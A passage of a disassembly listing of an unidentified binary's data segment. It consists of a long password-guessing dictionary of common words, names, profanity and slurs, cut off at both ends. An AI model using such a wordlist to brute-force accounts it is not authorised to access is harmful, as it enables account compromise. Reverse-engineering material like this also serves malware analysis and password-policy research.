XREF: seg002:00423DACo align 4 aHorrible db 'horrible',0 ; DATA XREF: seg002:00423DA8o align 10h aHorny db 'horny',0 ; DATA XREF: seg002:00423DA4o align 4 aHooters db 'hooters',0 ; DATA XREF: seg002:00423DA0o aHooker db 'hooker',0 ; DATA XREF: seg002:00423D9Co align 4 aHoney db 'honey',0 ; DATA XREF: seg002:00423D98o align 10h aHomework db 'homework',0 ; DATA XREF: seg002:00423D94o align 4 aHomer db 'homer',0 ; DATA XREF: seg002:00423D90o align 4 aHomepage db 'homepage',0 ; DATA XREF: seg002:00423D8Co align 10h aHollywoo db 'hollywoo',0 ; DATA XREF: seg002:00423D88o align 4 aHolly db 'holly',0 ; DATA XREF: seg002:00423D84o align 4 aHole db 'hole',0 ; DATA XREF: seg002:00423D80o align 4 aHits db 'hits',0 ; DATA XREF: seg002:00423D7Co align 4 aHitler db 'hitler',0 ; DATA XREF: seg002:00423D78o align 4 aHighland db 'highland',0 ; DATA XREF: seg002:00423D74o align 4 aHigh db 'high',0 ; DATA XREF: seg002:00423D70o align 10h aHidden db 'hidden',0 ; DATA XREF: seg002:00423D6Co align 4 aHibernia db 'hibernia',0 ; DATA XREF: seg002:00423D68o align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: seg002:00423D64o align 10h aHexadeci db 'hexadeci',0 ; DATA XREF: seg002:00423D60o align 4 aHewlett db 'hewlett',0 ; DATA XREF: seg002:00423D5Co aHeroin db 'heroin',0 ; DATA XREF: seg002:00423D58o align 4 aHero db 'hero',0 ; DATA XREF: seg002:00423D54o align 4 aHerbert db 'herbert',0 ; DATA XREF: seg002:00423D50o aHerb db 'herb',0 ; DATA XREF: seg002:00423D4Co align 4 aHelp db 'help',0 ; DATA XREF: seg002:00423D48o align 4 aHello db 'hello',0 ; DATA XREF: seg002:00423D44o align 4 aHell db 'hell',0 ; DATA XREF: seg002:00423D40o align 4 aHeinlein db 'heinlein',0 ; DATA XREF: seg002:00423D3Co align 4 aHeidi db 'heidi',0 ; DATA XREF: seg002:00423D38o align 10h aHebrides db 'hebrides',0 ; DATA XREF: seg002:00423D34o align 4 aHeather db 'heather',0 ; DATA XREF: seg002:00423D30o aHeathen db 'heathen',0 ; DATA XREF: seg002:00423D2Co aHeat db 'heat',0 ; DATA XREF: seg002:00423D28o align 4 aHeadbang db 'headbang',0 ; DATA XREF: seg002:00423D24o align 10h aHead db 'head',0 ; DATA XREF: seg002:00423D20o align 4 aHawaii db 'hawaii',0 ; DATA XREF: seg002:00423D1Co align 10h aHaven db 'haven',0 ; DATA XREF: seg002:00423D18o align 4 aHate db 'hate',0 ; DATA XREF: seg002:00423D14o align 10h aHarvey db 'harvey',0 ; DATA XREF: seg002:00423D10o align 4 aHarold db 'harold',0 ; DATA XREF: seg002:00423D0Co align 10h aHarmony db 'harmony',0 ; DATA XREF: seg002:00423D08o aHarddriv db 'harddriv',0 ; DATA XREF: seg002:00423D04o align 4 aHardcore db 'hardcore',0 ; DATA XREF: seg002:00423D00o align 10h aHard db 'hard',0 ; DATA XREF: seg002:00423CFCo align 4 aHappenin db 'happenin',0 ; DATA XREF: seg002:00423CF8o align 4 aHandjob db 'handjob',0 ; DATA XREF: seg002:00423CF4o aHandily db 'handily',0 ; DATA XREF: seg002:00423CF0o aHandel db 'handel',0 ; DATA XREF: seg002:00423CECo align 4 aHamster db 'hamster',0 ; DATA XREF: seg002:00423CE8o aHamlet db 'hamlet',0 ; DATA XREF: seg002:00423CE4o align 4 aHallowee db 'hallowee',0 ; DATA XREF: seg002:00423CE0o align 4 aHair db 'hair',0 ; DATA XREF: seg002:00423CDCo align 10h aHagar db 'hagar',0 ; DATA XREF: seg002:00423CD8o align 4 aHacked db 'hacked',0 ; DATA XREF: seg002:00423CD4o align 10h aHack db 'hack',0 ; DATA XREF: seg002:00423CD0o align 4 aGuntis db 'guntis',0 ; DATA XREF: seg002:00423CCCo align 10h aGumption db 'gumption',0 ; DATA XREF: seg002:00423CC8o align 4 aGuitar db 'guitar',0 ; DATA XREF: seg002:00423CC4o align 4 aGuess db 'guess',0 ; DATA XREF: seg002:00423CC0o align 4 aGucci db 'gucci',0 ; DATA XREF: seg002:00423CBCo align 4 aGuardian db 'guardian',0 ; DATA XREF: seg002:00423CB8o align 10h aGryphon db 'gryphon',0 ; DATA XREF: seg002:00423CB4o aGroup db 'group',0 ; DATA XREF: seg002:00423CB0o align 10h aGreen db 'green',0 ; DATA XREF: seg002:00423CACo align 4 aGreat db 'great',0 ; DATA XREF: seg002:00423CA8o align 10h aGrant db 'grant',0 ; DATA XREF: seg002:00423CA4o align 4 aGrand db 'grand',0 ; DATA XREF: seg002:00423CA0o align 10h aGrahm db 'grahm',0 ; DATA XREF: seg002:00423C9Co align 4 aGraham db 'graham',0 ; DATA XREF: seg002:00423C98o align 10h aGrades db 'grades',0 ; DATA XREF: seg002:00423C94o align 4 aGovermen db 'govermen',0 ; DATA XREF: seg002:00423C90o align 4 aGouge db 'gouge',0 ; DATA XREF: seg002:00423C8Co align 4 aGosling db 'gosling',0 ; DATA XREF: seg002:00423C88o aGorges db 'gorges',0 ; DATA XREF: seg002:00423C84o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: seg002:00423C80o align 4 aGood db 'good',0 ; DATA XREF: seg002:00423C7Co align 10h aGolfer db 'golfer',0 ; DATA XREF: seg002:00423C78o align 4 aGolf db 'golf',0 ; DATA XREF: seg002:00423C74o align 10h aGolden db 'golden',0 ; DATA XREF: seg002:00423C70o align 4 aGold db 'gold',0 ; DATA XREF: seg002:00423C6Co align 10h aGlacier db 'glacier',0 ; DATA XREF: seg002:00423C68o aGirl db 'girl',0 ; DATA XREF: seg002:00423C64o align 10h aGinger db 'ginger',0 ; DATA XREF: seg002:00423C60o align 4 aGina db 'gina',0 ; DATA XREF: seg002:00423C5Co align 10h aGigabyte db 'gigabyte',0 ; DATA XREF: seg002:00423C58o align 4 aGibson db 'gibson',0 ; DATA XREF: seg002:00423C54o align 4 aGhost db 'ghost',0 ; DATA XREF: seg002:00423C50o align 4 aGertrude db 'gertrude',0 ; DATA XREF: seg002:00423C4Co align 4 aGerm db 'germ',0 ; DATA XREF: seg002:00423C48o align 10h aGeorge db 'george',0 ; DATA XREF: seg002:00423C44o align 4 aGauss db 'gauss',0 ; DATA XREF: seg002:00423C40o align 10h aGatt db 'gatt',0 ; DATA XREF: seg002:00423C3Co align 4 aGatherin db 'gatherin',0 ; DATA XREF: seg002:00423C38o align 4 aGateway db 'gateway',0 ; DATA XREF: seg002:00423C34o aGarfield db 'garfield',0 ; DATA XREF: seg002:00423C30o align 4 aGardner db 'gardner',0 ; DATA XREF: seg002:00423C2Co aGames db 'games',0 ; DATA XREF: seg002:00423C28o align 4 aGabriel db 'gabriel',0 ; DATA XREF: seg002:00423C24o aFungible db 'fungible',0 ; DATA XREF: seg002:00423C20o align 4 aFunction db 'function',0 ; DATA XREF: seg002:00423C1Co align 4 aFudge db 'fudge',0 ; DATA XREF: seg002:00423C18o align 10h aFuckyou db 'fuckyou',0 ; DATA XREF: seg002:00423C14o aFuckme db 'fuckme',0 ; DATA XREF: seg002:00423C10o align 10h aFucking db 'fucking',0 ; DATA XREF: seg002:00423C0Co aFucker db 'fucker',0 ; DATA XREF: seg002:00423C08o align 10h aFuck db 'fuck',0 ; DATA XREF: seg002:00423C04o align 4 aFryguy db 'fryguy',0 ; DATA XREF: seg002:00423C00o align 10h aFrog db 'frog',0 ; DATA XREF: seg002:00423BFCo align 4 aFrighten db 'frighten',0 ; DATA XREF: seg002:00423BF8o align 4 aFriends db 'friends',0 ; DATA XREF: seg002:00423BF4o aFriend db 'friend',0 ; DATA XREF: seg002:00423BF0o align 4 aFriday db 'friday',0 ; DATA XREF: seg002:00423BECo align 4 aFrench db 'french',0 ; DATA XREF: seg002:00423BE8o align 4 aFreedom db 'freedom',0 ; DATA XREF: seg002:00423BE4o aFree db 'free',0 ; DATA XREF: seg002:00423BE0o align 4 aFred db 'fred',0 ; DATA XREF: seg002:00423BDCo align 4 aFreak db 'freak',0 ; DATA XREF: seg002:00423BD8o align 4 aFrank db 'frank',0 ; DATA XREF: seg002:00423BD4o align 4 aFrance db 'france',0 ; DATA XREF: seg002:00423BD0o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: seg002:00423BCCo aFourier db 'fourier',0 ; DATA XREF: seg002:00423BC8o aForsythe db 'forsythe',0 ; DATA XREF: seg002:00423BC4o align 10h aFornicat db 'fornicat',0 ; DATA XREF: seg002:00423BC0o align 4 aFormat db 'format',0 ; DATA XREF: seg002:00423BBCo align 4 aForm db 'form',0 ; DATA XREF: seg002:00423BB8o align 4 aForever db 'forever',0 ; DATA XREF: seg002:00423BB4o aForesigh db 'foresigh',0 ; DATA XREF: seg002:00423BB0o align 10h aFord db 'ford',0 ; DATA XREF: seg002:00423BACo align 4 aForce db 'force',0 ; DATA XREF: seg002:00423BA8o align 10h aFootball db 'football',0 ; DATA XREF: seg002:00423BA4o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: seg002:00423BA0o align 4 aFool db 'fool',0 ; DATA XREF: seg002:00423B9Co align 10h aFood db 'food',0 ; DATA XREF: seg002:00423B98o align 4 aFlowers db 'flowers',0 ; DATA XREF: seg002:00423B94o aFlower db 'flower',0 ; DATA XREF: seg002:00423B90o align 4 aFlorida db 'florida',0 ; DATA XREF: seg002:00423B8Co aFloat db 'float',0 ; DATA XREF: seg002:00423B88o align 4 aFlakes db 'flakes',0 ; DATA XREF: seg002:00423B84o align 10h aFishers db 'fishers',0 ; DATA XREF: seg002:00423B80o aFirewall db 'firewall',0 ; DATA XREF: seg002:00423B7Co align 4 aFire db 'fire',0 ; DATA XREF: seg002:00423B78o align 4 aFinite db 'finite',0 ; DATA XREF: seg002:00423B74o align 4 aFile db 'file',0 ; DATA XREF: seg002:00423B70o align 4 aFight db 'fight',0 ; DATA XREF: seg002:00423B6Co align 4 aField db 'field',0 ; DATA XREF: seg002:00423B68o align 4 aFidelity db 'fidelity',0 ; DATA XREF: seg002:00423B64o align 4 aFerrari db 'ferrari',0 ; DATA XREF: seg002:00423B60o aFermat db 'fermat',0 ; DATA XREF: seg002:00423B5Co align 4 aFender db 'fender',0 ; DATA XREF: seg002:00423B58o align 10h aFelicia db 'felicia',0 ; DATA XREF: seg002:00423B54o aFeds db 'feds',0 ; DATA XREF: seg002:00423B50o align 10h aFear db 'fear',0 ; DATA XREF: seg002:00423B4Co align 4 aFast db 'fast',0 ; DATA XREF: seg002:00423B48o align 10h aFart db 'fart',0 ; DATA XREF: seg002:00423B44o align 4 aFaraday db 'faraday',0 ; DATA XREF: seg002:00423B40o aFarad db 'farad',0 ; DATA XREF: seg002:00423B3Co align 4 aFamily db 'family',0 ; DATA XREF: seg002:00423B38o align 10h aFalse db 'false',0 ; DATA XREF: seg002:00423B34o align 4 aFalcon db 'falcon',0 ; DATA XREF: seg002:00423B30o align 10h aFaith db 'faith',0 ; DATA XREF: seg002:00423B2Co align 4 aFairway db 'fairway',0 ; DATA XREF: seg002:00423B28o aExtensio db 'extensio',0 ; DATA XREF: seg002:00423B24o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: seg002:00423B20o align 4 aExplorer db 'explorer',0 ; DATA XREF: seg002:00423B1Co align 4 aExplore db 'explore',0 ; DATA XREF: seg002:00423B18o aExplode db 'explode',0 ; DATA XREF: seg002:00423B14o aExpert db 'expert',0 ; DATA XREF: seg002:00423B10o align 4 aEvelyn db 'evelyn',0 ; DATA XREF: seg002:00423B0Co align 4 aEuclid db 'euclid',0 ; DATA XREF: seg002:00423B08o align 4 aEternity db 'eternity',0 ; DATA XREF: seg002:00423B04o align 4 aEstate db 'estate',0 ; DATA XREF: seg002:00423B00o align 10h aEstablis db 'establis',0 ; DATA XREF: seg002:00423AFCo align 4 aErsatz db 'ersatz',0 ; DATA XREF: seg002:00423AF8o align 4 aErotic db 'erotic',0 ; DATA XREF: seg002:00423AF4o align 4 aErin db 'erin',0 ; DATA XREF: seg002:00423AF0o align 4 aErika db 'erika',0 ; DATA XREF: seg002:00423AECo align 4 aErica db 'erica',0 ; DATA XREF: seg002:00423AE8o align 4 aEric db 'eric',0 ; DATA XREF: seg002:00423AE4o align 4 aErenity db 'erenity',0 ; DATA XREF: seg002:00423AE0o aEnzyme db 'enzyme',0 ; DATA XREF: seg002:00423ADCo align 4 aEnterpri db 'enterpri',0 ; DATA XREF: seg002:00423AD8o align 4 aEnter db 'enter',0 ; DATA XREF: seg002:00423AD4o align 10h aEnglish db 'english',0 ; DATA XREF: seg002:00423AD0o aEngland db 'england',0 ; DATA XREF: seg002:00423ACCo aEngineer db 'engineer',0 ; DATA XREF: seg002:00423AC8o align 4 aEngine db 'engine',0 ; DATA XREF: seg002:00423AC4o align 4 aEnemy db 'enemy',0 ; DATA XREF: seg002:00423AC0o align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: seg002:00423ABCo align 4 aEmily db 'emily',0 ; DATA XREF: seg002:00423AB8o align 10h aEmerald db 'emerald',0 ; DATA XREF: seg002:00423AB4o aEmail db 'email',0 ; DATA XREF: seg002:00423AB0o align 10h aEllen db 'ellen',0 ; DATA XREF: seg002:00423AACo align 4 aElizabet db 'elizabet',0 ; DATA XREF: seg002:00423AA8o align 4 aElephant db 'elephant',0 ; DATA XREF: seg002:00423AA4o align 10h aElectron db 'electron',0 ; DATA XREF: seg002:00423AA0o align 4 aElanor db 'elanor',0 ; DATA XREF: seg002:00423A9Co align 4 aElaine db 'elaine',0 ; DATA XREF: seg002:00423A98o align 4 aEinstein db 'einstein',0 ; DATA XREF: seg002:00423A94o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: seg002:00423A90o align 4 aEileen db 'eileen',0 ; DATA XREF: seg002:00423A8Co align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: seg002:00423A88o align 4 aEgghead db 'egghead',0 ; DATA XREF: seg002:00423A84o aEdwina db 'edwina',0 ; DATA XREF: seg002:00423A80o align 4 aEdwin db 'edwin',0 ; DATA XREF: seg002:00423A7Co align 10h aEducatio db 'educatio',0 ; DATA XREF: seg002:00423A78o align 4 aEducation db 'education',0 ; DATA XREF: seg002:00423A74o align 4 aEdition db 'edition',0 ; DATA XREF: seg002:00423A70o aEdit db 'edit',0 ; DATA XREF: seg002:00423A6Co align 4 aEdinburg db 'edinburg',0 ; DATA XREF: seg002:00423A68o align 4 aEdges db 'edges',0 ; DATA XREF: seg002:00423A64o align 4 aEddie db 'eddie',0 ; DATA XREF: seg002:00423A60o align 4 aEcho db 'echo',0 ; DATA XREF: seg002:00423A5Co align 4 aEatme db 'eatme',0 ; DATA XREF: seg002:00423A58o align 4 aEasy db 'easy',0 ; DATA XREF: seg002:00423A54o align 4 aEasier db 'easier',0 ; DATA XREF: seg002:00423A50o align 4 aEarth db 'earth',0 ; DATA XREF: seg002:00423A4Co align 4 aEagle db 'eagle',0 ; DATA XREF: seg002:00423A48o align 4 aEager db 'eager',0 ; DATA XREF: seg002:00423A44o align 4 aDyke db 'dyke',0 ; DATA XREF: seg002:00423A40o align 4 aDungeon db 'dungeon',0 ; DATA XREF: seg002:00423A3Co aDuncan db 'duncan',0 ; DATA XREF: seg002:00423A38o align 4 aDulce db 'dulce',0 ; DATA XREF: seg002:00423A34o align 4 aDuke db 'duke',0 ; DATA XREF: seg002:00423A30o align 4 aDuelist db 'duelist',0 ; DATA XREF: seg002:00423A2Co aDude db 'dude',0 ; DATA XREF: seg002:00423A28o align 4 aDuck db 'duck',0 ; DATA XREF: seg002:00423A24o align 4 aDrought db 'drought',0 ; DATA XREF: seg002:00423A20o aDrive db 'drive',0 ; DATA XREF: seg002:00423A1Co align 4 aDrdoom db 'drdoom',0 ; DATA XREF: seg002:00423A18o align 4 aDragon db 'dragon',0 ; DATA XREF: seg002:00423A14o align 4 aDownload db 'download',0 ; DATA XREF: seg002:00423A10o align 4 aDope db 'dope',0 ; DATA XREF: seg002:00423A0Co align 10h aDoors db 'doors',0 ; DATA XREF: seg002:00423A08o align 4 aDoor db 'door',0 ; DATA XREF: seg002:00423A04o align 10h aDoonesbu db 'doonesbu',0 ; DATA XREF: seg002:00423A00o align 4 aDoomsday db 'doomsday',0 ; DATA XREF: seg002:004239FCo align 4 aDoomii db 'doomii',0 ; DATA XREF: seg002:004239F8o align 10h aDoom2 db 'doom2',0 ; DATA XREF: seg002:004239F4o align 4 aDoom db 'doom',0 ; DATA XREF: seg002:004239F0o align 10h aDong db 'dong',0 ; DATA XREF: seg002:004239ECo align 4 aDollar db 'dollar',0 ; DATA XREF: seg002:004239E8o align 10h aDoctor db 'doctor',0 ; DATA XREF: seg002:004239E4o align 4 aDisplay db 'display',0 ; DATA XREF: seg002:004239E0o aDisney db 'disney',0 ; DATA XREF: seg002:004239DCo align 4 aDiskette db 'diskette',0 ; DATA XREF: seg002:004239D8o align 4 aDisk_0 db 'disk',0 ; DATA XREF: seg002:004239D4o align 4 aDiscover db 'discover',0 ; DATA XREF: seg002:004239D0o align 4 aDisclose db 'disclose',0 ; DATA XREF: seg002:004239CCo align 4 aDiscipli db 'discipli',0 ; DATA XREF: seg002:004239C8o align 10h aDisc db 'disc',0 ; DATA XREF: seg002:004239C4o align 4 aDirty db 'dirty',0 ; DATA XREF: seg002:004239C0o align 10h aDirector db 'director',0 ; DATA XREF: seg002:004239BCo align 4 aDirect db 'direct',0 ; DATA XREF: seg002:004239B8o align 4 aDipshit db 'dipshit',0 ; DATA XREF: seg002:004239B4o aDinosaur db 'dinosaur',0 ; DATA XREF: seg002:004239B0o align 4 aDigital db 'digital',0 ; DATA XREF: seg002:004239ACo aDieter db 'dieter',0 ; DATA XREF: seg002:004239A8o align 4 aDiet db 'diet',0 ; DATA XREF: seg002:004239A4o align 10h aDiehard db 'diehard',0 ; DATA XREF: seg002:004239A0o aDick db 'dick',0 ; DATA XREF: seg002:0042399Co align 10h aDice db 'dice',0 ; DATA XREF: seg002:00423998o align 4 aDiane db 'diane',0 ; DATA XREF: seg002:00423994o align 10h aDiana db 'diana',0 ; DATA XREF: seg002:00423990o align 4 aDiamond db 'diamond',0 ; DATA XREF: seg002:0042398Co aDial db 'dial',0 ; DATA XREF: seg002:00423988o align 4 aDevice db 'device',0 ; DATA XREF: seg002:00423984o align 10h aDevelop db 'develop',0 ; DATA XREF: seg002:00423980o aDesperat db 'desperat',0 ; DATA XREF: seg002:0042397Co align 4 aDesktop db 'desktop',0 ; DATA XREF: seg002:00423978o aDesk db 'desk',0 ; DATA XREF: seg002:00423974o align 4 aDesiree db 'desiree',0 ; DATA XREF: seg002:00423970o aDennis db 'dennis',0 ; DATA XREF: seg002:0042396Co align 4 aDenise db 'denise',0 ; DATA XREF: seg002:00423968o align 4 aDemocrat db 'democrat',0 ; DATA XREF: seg002:00423964o align 4 aDeluge db 'deluge',0 ; DATA XREF: seg002:00423960o align 10h aDelta db 'delta',0 ; DATA XREF: seg002:0042395Co align 4 aDefoe db 'defoe',0 ; DATA XREF: seg002:00423958o align 10h aDefault_0 db 'DEFAULT',0 ; DATA XREF: seg002:00423954o aDeck db 'deck',0 ; DATA XREF: seg002:0042394Co align 10h aDecember db 'december',0 ; DATA XREF: seg002:00423948o align 4 aDebug db 'debug',0 ; DATA XREF: seg002:00423944o align 4 aDeborah db 'deborah',0 ; DATA XREF: seg002:00423940o aDebbie db 'debbie',0 ; DATA XREF: seg002:0042393Co align 4 aDeathsta db 'deathsta',0 ; DATA XREF: seg002:00423938o align 10h aDead db 'dead',0 ; DATA XREF: seg002:00423934o align 4 aDawn db 'dawn',0 ; DATA XREF: seg002:00423930o align 10h aDave db 'dave',0 ; DATA XREF: seg002:0042392Co align 4 aData db 'data',0 ; DATA XREF: seg002:00423928o align 10h aDarkaven db 'darkaven',0 ; DATA XREF: seg002:00423924o align 4 aDark db 'dark',0 ; DATA XREF: seg002:00423920o align 4 aDapper db 'dapper',0 ; DATA XREF: seg002:0042391Co align 4 aDanny db 'danny',0 ; DATA XREF: seg002:00423918o align 4 aDanielle db 'danielle',0 ; DATA XREF: seg002:00423914o align 10h aDaniel db 'daniel',0 ; DATA XREF: seg002:00423910o align 4 aDancer db 'dancer',0 ; DATA XREF: seg002:0042390Co align 10h aDana db 'dana',0 ; DATA XREF: seg002:00423908o align 4 aDaisy db 'daisy',0 ; DATA XREF: seg002:00423904o align 10h aDaemon db 'daemon',0 ; DATA XREF: seg002:00423900o align 4 aCynthia db 'cynthia',0 ; DATA XREF: seg002:004238FCo aCyberspa db 'cyberspa',0 ; DATA XREF: seg002:004238F8o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: seg002:004238F4o align 4 aCyber db 'cyber',0 ; DATA XREF: seg002:004238F0o align 10h aCustomer db 'customer',0 ; DATA XREF: seg002:004238ECo align 4 aCunt db 'cunt',0 ; DATA XREF: seg002:004238E8o align 4 aCshrc db 'cshrc',0 ; DATA XREF: seg002:004238E4o align 4 aCrystal db 'crystal',0 ; DATA XREF: seg002:004238E0o ; seg002:0041EE55o aCristina db 'cristina',0 ; DATA XREF: seg002:004238DCo align 10h aCriminal db 'criminal',0 ; DATA XREF: seg002:004238D8o align 4 aCrime db 'crime',0 ; DATA XREF: seg002:004238D4o align 4 aCretin db 'cretin',0 ; DATA XREF: seg002:004238D0o align 4 aCreosote db 'creosote',0 ; DATA XREF: seg002:004238CCo align 4 aCredit db 'credit',0 ; DATA XREF: seg002:004238C8o align 10h aCreature db 'creature',0 ; DATA XREF: seg002:004238C4o align 4 aCreation db 'creation',0 ; DATA XREF: seg002:004238C0o align 4 aCreate db 'create',0 ; DATA XREF: seg002:004238BCo align 10h aCream db 'cream',0 ; DATA XREF: seg002:004238B8o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: seg002:004238B4o align 4 aCrack db 'crack',0 ; DATA XREF: seg002:004238B0o align 4 aCowboy db 'cowboy',0 ; DATA XREF: seg002:004238ACo align 4 aCouscous db 'couscous',0 ; DATA XREF: seg002:004238A8o align 10h aCountry db 'country',0 ; DATA XREF: seg002:004238A4o aCounters db 'counters',0 ; DATA XREF: seg002:004238A0o align 4 aCorrect db 'correct',0 ; DATA XREF: seg002:0042389Co aCorneliu db 'corneliu',0 ; DATA XREF: seg002:00423898o align 4 aCopy db 'copy',0 ; DATA XREF: seg002:00423894o align 10h aCops db 'cops',0 ; DATA XREF: seg002:00423890o align 4 aCopper db 'copper',0 ; DATA XREF: seg002:0042388Co align 10h aCooper db 'cooper',0 ; DATA XREF: seg002:00423888o align 4 aCool db 'cool',0 ; DATA XREF: seg002:00423884o align 10h aCookie db 'cookie',0 ; DATA XREF: seg002:00423880o align 4 aCookbook db 'cookbook',0 ; DATA XREF: seg002:0042387Co align 4 aCook db 'cook',0 ; DATA XREF: seg002:00423878o align 4 aContinue db 'continue',0 ; DATA XREF: seg000:0040AAFEo ; seg002:00423874o align 4 aConsole db 'console',0 ; DATA XREF: seg002:00423870o aConserva db 'conserva',0 ; DATA XREF: seg002:0042386Co align 4 aConnie db 'connie',0 ; DATA XREF: seg002:00423868o align 4 aCondom db 'condom',0 ; DATA XREF: seg002:00423860o align 4 aCondo db 'condo',0 ; DATA XREF: seg002:0042385Co align 4 aComrades db 'comrades',0 ; DATA XREF: seg002:00423858o align 10h aComrade db 'comrade',0 ; DATA XREF: seg002:00423854o aComputin db 'computin',0 ; DATA XREF: seg002:00423850o align 4 aCompany db 'company',0 ; DATA XREF: seg002:0042384Co aCommrade db 'commrade',0 ; DATA XREF: seg002:00423848o align 4 aCommit db 'commit',0 ; DATA XREF: seg002:00423844o align 10h aComics db 'comics',0 ; DATA XREF: seg002:00423840o align 4 aCombat db 'combat',0 ; DATA XREF: seg002:0042383Co align 10h aColor db 'color',0 ; DATA XREF: seg002:00423838o align 4 aCollins db 'collins',0 ; DATA XREF: seg002:00423834o aCold db 'cold',0 ; DATA XREF: seg002:00423830o align 4 aCola db 'cola',0 ; DATA XREF: seg002:0042382Co align 10h aCoke db 'coke',0 ; DATA XREF: seg002:00423828o align 4 aCoin db 'coin',0 ; DATA XREF: seg002:00423824o align 10h aCoffee db 'coffee',0 ; DATA XREF: seg002:00423820o align 4 aCodeword db 'codeword',0 ; DATA XREF: seg002:0042381Co align 4 aCodename db 'codename',0 ; DATA XREF: seg002:00423818o align 10h aCode db 'code',0 ; DATA XREF: seg002:00423814o align 4 aCock db 'cock',0 ; DATA XREF: seg002:00423810o align 10h aCocainco db 'cocainco',0 ; DATA XREF: seg002:0042380Co align 4 aCocacola db 'cocacola',0 ; DATA XREF: seg002:00423808o align 4 aCoast db 'coast',0 ; DATA XREF: seg002:00423804o align 10h aClusters db 'clusters',0 ; DATA XREF: seg002:00423800o align 4 aCluster db 'cluster',0 ; DATA XREF: seg002:004237FCo aClinton db 'clinton',0 ; DATA XREF: seg002:004237F8o aCleavage db 'cleavage',0 ; DATA XREF: seg002:004237F4o align 4 aClaymore db 'claymore',0 ; DATA XREF: seg002:004237F0o align 4 aClaudia db 'claudia',0 ; DATA XREF: seg002:004237ECo aClassic db 'classic',0 ; DATA XREF: seg002:004237E8o aClasses db 'classes',0 ; DATA XREF: seg002:004237E4o aClass db 'class',0 ; DATA XREF: seg002:004237E0o align 4 aCindy db 'cindy',0 ; DATA XREF: seg002:004237DCo align 4 aCigarett db 'cigarett',0 ; DATA XREF: seg002:004237D8o align 4 aCigar db 'cigar',0 ; DATA XREF: seg002:004237D4o align 10h aChristy db 'christy',0 ; DATA XREF: seg002:004237D0o aChristin db 'christin',0 ; DATA XREF: seg002:004237CCo align 4 aChris db 'chris',0 ; DATA XREF: seg002:004237C8o align 4 aChip db 'chip',0 ; DATA XREF: seg002:004237C4o align 4 aChester db 'chester',0 ; DATA XREF: seg002:004237C0o aChess db 'chess',0 ; DATA XREF: seg002:004237BCo align 4 aChemistr db 'chemistr',0 ; DATA XREF: seg002:004237B8o align 10h aChem db 'chem',0 ; DATA XREF: seg002:004237B4o align 4 aChat db 'chat',0 ; DATA XREF: seg002:004237B0o align 10h aCharon db 'charon',0 ; DATA XREF: seg002:004237ACo align 4 aCharming db 'charming',0 ; DATA XREF: seg002:004237A8o align 4 aCharlie db 'charlie',0 ; DATA XREF: seg002:004237A4o aCharles db 'charles',0 ; DATA XREF: seg002:004237A0o aCharity db 'charity',0 ; DATA XREF: seg002:0042379Co aChange db 'change',0 ; DATA XREF: seg002:00423798o align 4 aCerulean db 'cerulean',0 ; DATA XREF: seg002:00423794o align 10h aCeltics db 'celtics',0 ; DATA XREF: seg002:00423790o aCeltic db 'celtic',0 ; DATA XREF: seg002:0042378Co align 10h aCelt db 'celt',0 ; DATA XREF: seg002:00423788o align 4 aCecily db 'cecily',0 ; DATA XREF: seg002:00423784o align 10h aCayuga db 'cayuga',0 ; DATA XREF: seg002:00423780o align 4 aCave db 'cave',0 ; DATA XREF: seg002:0042377Co align 10h aCathy db 'cathy',0 ; DATA XREF: seg002:00423778o align 4 aCatholic db 'catholic',0 ; DATA XREF: seg002:00423774o align 4 aCatherin db 'catherin',0 ; DATA XREF: seg002:00423770o align 10h aCastle db 'castle',0 ; DATA XREF: seg002:0042376Co align 4 aCash db 'cash',0 ; DATA XREF: seg002:00423768o align 10h aCascades db 'cascades',0 ; DATA XREF: seg002:00423764o align 4 aCarson db 'carson',0 ; DATA XREF: seg002:00423760o align 4 aCarrie db 'carrie',0 ; DATA XREF: seg002:0042375Co align 4 aCaroline db 'caroline',0 ; DATA XREF: seg002:00423758o align 4 aCarolina db 'carolina',0 ; DATA XREF: seg002:00423754o align 4 aCarole db 'carole',0 ; DATA XREF: seg002:00423750o align 4 aCarol db 'carol',0 ; DATA XREF: seg002:0042374Co align 4 aCarmen db 'carmen',0 ; DATA XREF: seg002:00423748o align 4 aCarla db 'carla',0 ; DATA XREF: seg002:00423744o align 4 aCaren db 'caren',0 ; DATA XREF: seg002:00423740o align 4 aCardinal db 'cardinal',0 ; DATA XREF: seg002:0042373Co align 4 aCard db 'card',0 ; DATA XREF: seg002:00423738o align 10h aCapture db 'capture',0 ; DATA XREF: seg002:00423734o aCaptain db 'captain',0 ; DATA XREF: seg002:00423730o aCantor db 'cantor',0 ; DATA XREF: seg002:0042372Co align 4 aCandy db 'candy',0 ; DATA XREF: seg002:00423728o align 10h aCandi db 'candi',0 ; DATA XREF: seg002:00423724o align 4 aCamping db 'camping',0 ; DATA XREF: seg002:00423720o aCampanil db 'campanil',0 ; DATA XREF: seg002:0042371Co align 4 aCamille db 'camille',0 ; DATA XREF: seg002:00423718o aCaliforn db 'californ',0 ; DATA XREF: seg002:00423714o align 10h aButthead db 'butthead',0 ; DATA XREF: seg002:00423710o align 4 aButt db 'butt',0 ; DATA XREF: seg002:0042370Co align 4 aButch db 'butch',0 ; DATA XREF: seg002:00423708o align 4 aBurn db 'burn',0 ; DATA XREF: seg002:00423704o align 4 aBurgess db 'burgess',0 ; DATA XREF: seg002:00423700o aBung db 'bung',0 ; DATA XREF: seg002:004236FCo align 4 aBumbling db 'bumbling',0 ; DATA XREF: seg002:004236F8o align 10h aBullshit db 'bullshit',0 ; DATA XREF: seg002:004236F4o align 4 aBulls db 'bulls',0 ; DATA XREF: seg002:004236F0o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: seg002:004236ECo align 10h aBrute db 'brute',0 ; DATA XREF: seg002:004236E8o align 4 aBrunette db 'brunette',0 ; DATA XREF: seg002:004236E4o align 4 aBrothel db 'brothel',0 ; DATA XREF: seg002:004236E0o aBroadway db 'broadway',0 ; DATA XREF: seg002:004236DCo align 4 aBridget db 'bridget',0 ; DATA XREF: seg002:004236D8o aBrian db 'brian',0 ; DATA XREF: seg002:004236D4o align 4 aBrenda db 'brenda',0 ; DATA XREF: 